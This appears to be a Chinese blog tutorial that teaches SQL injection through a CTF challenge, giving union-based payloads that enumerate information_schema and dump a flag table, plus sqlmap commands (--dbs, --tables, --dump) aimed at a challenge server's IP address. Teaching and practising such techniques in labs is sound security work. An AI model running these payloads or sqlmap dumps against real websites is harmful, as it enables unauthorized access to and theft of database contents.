SQL注入从入门到入土

SQL注入从入门到入土

首先介绍一下数据库和sql注入是什么东西

字段:每个变量叫做字段
列: 多个字段
行:一个数据行简称一行
结果集:SQL查询中的最终数据结果

正常情况下无论是实战还是攻防比赛都不会给普通用户drop,delete等删库权限命令,只有信任用户和管理员才有权限执行这种危险命令!!!!!

数据库是一种结构化的数据存储系统,用于有效地组织、存储和管理大量的数据‌。数据库通常由一个或多个数据表组成,每个数据表包含多个行和列

如图,这里面有6个数据库,information_schema,mysql,performance_schema等

数据库下面存在多张表(拿performance_schema举例)

表里面存在列

这里的USER HOST EVENT_NAME等都是列名,列下面储存着数据

sql是数据库语言,不同数据库语言语法也不同

比如说SQLite和Mysql的数据库语言和系统结构都不一样

接下来以Mysql为例讲一下SQL注入

sql注入原理

SQL 注入就是指 Web 应用程序对用户输入的数据合法性没有过滤或者是判断,攻击者可以在Web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来执行一些恶意程序或执行非授权的任意查询。

sql注入一般步骤

我打算搭配一套题讲解

 

注意到url上有?id=1,很明显的sql注入类型

第id=3的时候发现有提示可以在url后加上&tips=1获得提示

在id=3后面加上’后无回显,可能发生了报错,基本可以判断为字符型注入

判断数据库字段

可以用order by 语句盘半段注入点sql语句差选的列数是多少

order by 排序超过查询结果列数的时候就会抛出错误,故可以使用它来判断前一条 select 语句查询结果

比如说在该题中order by 3的时候没报错,而order by 4报错了说明

SQL语句的参数是三个

UNION 联合查询数据库信息

确认完显示位可以利用显示位查询下数据库信息,如数据库版本、当前数据库名、

联合查询是使用 union 或者 union all 拼接两条 select 语句来进行查询注入方式

例如1’union select 1,version(),database()–+&tips=1

获取数据库名称

通过联合查询和关键函数database()获取数据库名称。

经过测试发现回显在2和3

这里说一下为什么id变为了-88

关于将id值设置为0或者负数的解释

由于我们的语句是插入到原有语句后面,这样就会出现两个SQL语句同时执行,由于SQL查询默认返回一

行数据,所以我们插入的第二行语句的结果就不会被返回,只会返回原有的SQL语句的查询内容。

要让数据库查询我们插入的语句,需要让原有SQL语句查询为空。

官方点的定义叫:UNION的作用是将两个select查询结果合并,以union关键字分隔,而程序在展示数

据的时候通常只会取结果集的第一行数据,这就让联合注入有了利用的点。

当我们查询的第一行是不存在的时候就会回显第二行给我们。

当查询的数据置为-1,那第一行的数据为空,第二行自然就变为了第一行

所以我们可以使 id=0 或 id=-1 ,零或负数不会被用作id值,它插入进去一定导致原有SQL语句查询结果 为空,我们插入的SQL语句的结果就会被返回。

之后依旧要进行union联合注入来查询表名和列名

id=0′ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()–+&tips=1

别着急函数一个个的讲

union select 1,2,group_concat(table_name)

之前测试过回显点在2和3,所以可以在3的部分编写注入语句。

group_concat(table_name)

他的作用可以将多行结果合并为一个字符串,因为默认只能回显出一个结果,当一次注入出现多个结果时可能会报错,这个时候可以用group_concat()函数一次打印出多个结果,并用逗号隔开

from information_schema.tables where table_schema=database()

information_schema.tables

MySQL系统表,存储所有数据库和表的元数据(如表名)

wheretable_schema=database()

筛选出属于当前数据库的表(也就是note数据库)

结果是有一个fl4g和notes的表,flag大概率在fl4g的表里

查列名

?id=0′ union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’fl4g’–+&tips=1

这句和上句查表名的函数差不多,这里自己体会(doge)

无非就是在最后的查找目标中多了一句and table_name=’fl4g’

意思就是限制只查询fl4g下的列

表下只有一个列是fllllag,这时候只要通过查询就行了

?id=-4′ union select 1,2, group_concat(fllllag) from fl4g –+&tips=1

查询完就得到flag了

那肯定有人问了

主播主播,你的sql注入的确很强,但是还是太迟操作了,有没有更简单更强势的工具推荐一下呢

有的兄弟有的

也就是说不需要那么多繁琐的注入步骤直接爆出数据库,表名,列名

咱们只需要一个sqlmap能解决一切问题

  • python sqlmap.py -u “https://xxx/?id=1&username=1” –dbs # 查询所有数据库
  • python sqlmap.py -u “https://xxx/?id=1&username=1” -D test –tables # 查询test数据库下所有表
  • python sqlmap.py -u “https://xxx/?id=1&username=1” -D test –schema # 查询test数据库下所有表结构
  • python sqlmap.py -u “https://xxx/?id=1&username=1” -D test -T f1ag_table –column # 查询test数据库
  • 中f1ag_table表的列python sqlmap.py -u “https://xxx/?id=1&username=1” -D test -T f1ag_table –dump # 获取f1ag_table表的内容
  • python sqlmap.py -u “https://xxx/” –data “id=1” –dbs # 传输POST参数python sqlmap.py -u “https://xxx/” –all # 获取所有信息

打开目录的终端

python sqlmap.py -u http://27.25.151.45:33162/?id=1 –dbs

爆出数据库

python sqlmap.py -u http://27.25.151.45:33162/?id=1 -D note –tables

python sqlmap.py -u http://27.25.151.45:33162/?id=1 -D note -T fl4g –dump

文末附加内容

评论

  1. zzz
    Windows Edge 136.0.0.0
    已编辑
    1 年前
    2025-5-18 22:13:40

    听不懂思密达,我玩c++的

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇